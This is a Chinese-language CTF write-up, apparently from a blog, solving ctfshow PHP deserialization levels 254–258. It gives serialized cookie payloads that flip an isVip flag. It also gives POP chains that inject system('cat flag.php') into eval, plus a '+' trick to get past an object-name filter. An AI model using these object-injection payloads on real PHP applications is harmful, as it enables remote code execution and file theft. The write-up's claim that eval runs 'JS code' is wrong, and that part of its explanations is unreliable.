CTFSHOW-关卡254到258-原生类&POP构造
CTF-254-对象引用执行逻辑
username=xxxxxx&password=xxxxxx
解题思路:触发vipOneKeyGetFlag这个方法,同时让方法中的判断为真才能获取flag。
首先分析代码,查看下方判断,用两个GET方法接受账号密码,然后创建ctfShowUser这个类的对象,调用login这个方法,当该方法将isVip赋值为真时才能触发checkVip方法并返回为真,最后触发vipOneKeyGetFlag获取flag。
可以从login方法入手,当$u和$p等于username和password时,isVip将赋值为true。然后执行checkVip方法返回为true时,最后触发vipOneKeyGetFlag获取flag。
通过代码可以发现username和password的值为xxxxxx,那么直接传递账号密码为xxxxxx,底部直接获取flag
CTF-255-反序列化变量修改
public $isVip=true;$a=new ctfShowUser();echo urlencode(serialize($a));
Get:username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
该关的源码与上关差距不大,但是在login方法中除了简单比较了一下username和password并没有将isVip改为true,那么在后面的checkVip方法中就无法返回true,无法在vipOneKeyGetFlag方法中获取flag
思路:下方的$user接受的是反序列化,那么可以利用反序列化将isVip的值直接改为true
利用网页工具 菜鸟php工具 将ctfShowUser这个类进行序列化并将isVip的值改为true,获取序列化字符串,使用urlencode编码防止赋值到网页时一些空格或其他数据造成的影响
查看源代码可知道反序列化是在cookie中的user里面的内容,那么访问页面利用burpsuite进行截断,并添加cookie和其中的user,将user值改为序列化字符串,再在url头部进行username和password的传输
放出截断的代码获取flag。
CTF-256-反序列化参数修改
public $username='x';public $password='y';public $isVip=true;$a=new ctfShowUser();echo urlencode(serialize($a));
GET:username=x&password=y
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
该关的考点非常清楚,在login和vipOneKeyGetFlag两个方法中$u和$p与username和password分别要全等,但是username和password不能全等。
思路:依旧用上一关的办法并且修改掉$username和password$的值即可,然后在x和y中传递与username和password相同的值,那么即可绕过判断。
依旧利用burp截断网页,利用url头传递参数并添加cookie
CTF-257-反序列化参数修改&对象调用逻辑
class ctfShowUser{ private $class; public function __construct(){ $this->class=new backDoor(); }}class backDoor{ private $code='system("cat f*");';}$b=new ctfShowUser();echo serialize($b);
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
思路:该关出现了多个类,难度已经偏中等左右。分析代码可以发现有个eval函数,该函数可以将字符串当做JS代码执行,那么就可以从该函数入手。观察代码可以发现__destruct函数调用getInfo这个方法,但是因为ctfShowUser类中的class为info,所以destruct函数指向的info类里的getInfo,那么第一步就是将construct的实例化对象值改为backDoor,使destruct方法调用backDoor这个类中的getInfo从而触发eval函数。在利用eval函数的特性执行hs代码获取falg。
依旧利用网页工具对类进行序列化,将__construct方法的内容改为创建backDoor类的对象,当利用$a实例化ctfShowUser时就会触发__construct方法。根据源码当对象销毁时会执行destruct方法,调用backDoor中的getInfo方法,然后会执行方便eval函数,然后修改code值为JS代码让eval函数执行。
因为这个知道了路径下有flag.php文件,所以直接写上。正常情况下需要利用ls查看当前目录。
为了代码美观,无关的数据已经删掉,因为起不到作用。
将反序列化字符串的url编码写入到cookie中并在get中传递参数,获取flag
CTF-258-反序列化参数修改&对象调用逻辑
class=new backDoor(); }}class backDoor{ public $code="system('cat flag.php');";}$a=serialize(new ctfShowUser());$b=str_replace(':11',':+11',$a);$c=str_replace(':8',':+8',$b);echo urlencode($c);?>
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
该关比上一关多可过滤字符,代表过滤oc开头后面带数字的数据,i代表不区分大小写,那么这个过滤导致序列化字符串生成的url编码无法使用
可以看到右边的数据就是序列化之后的数据,字母O后面带有数字所以被过滤,那么将字母o后面的数字11改为+11,数字8改为+8,不仅数值没有变,因为字母后面跟的不是纯数字,所以可以绕过过滤
str_place为php中的替代函数,第一个参数为要替换的数据,第二个参数为替换之后的数据,第三个参数是要替换的字符串。
注意:一定要序列化之后进行替换,在进行url编码,因为源码中过滤的序列化字符串并不是url编码数据
来源地址:https://blog.csdn.net/m0_65336233/article/details/127390755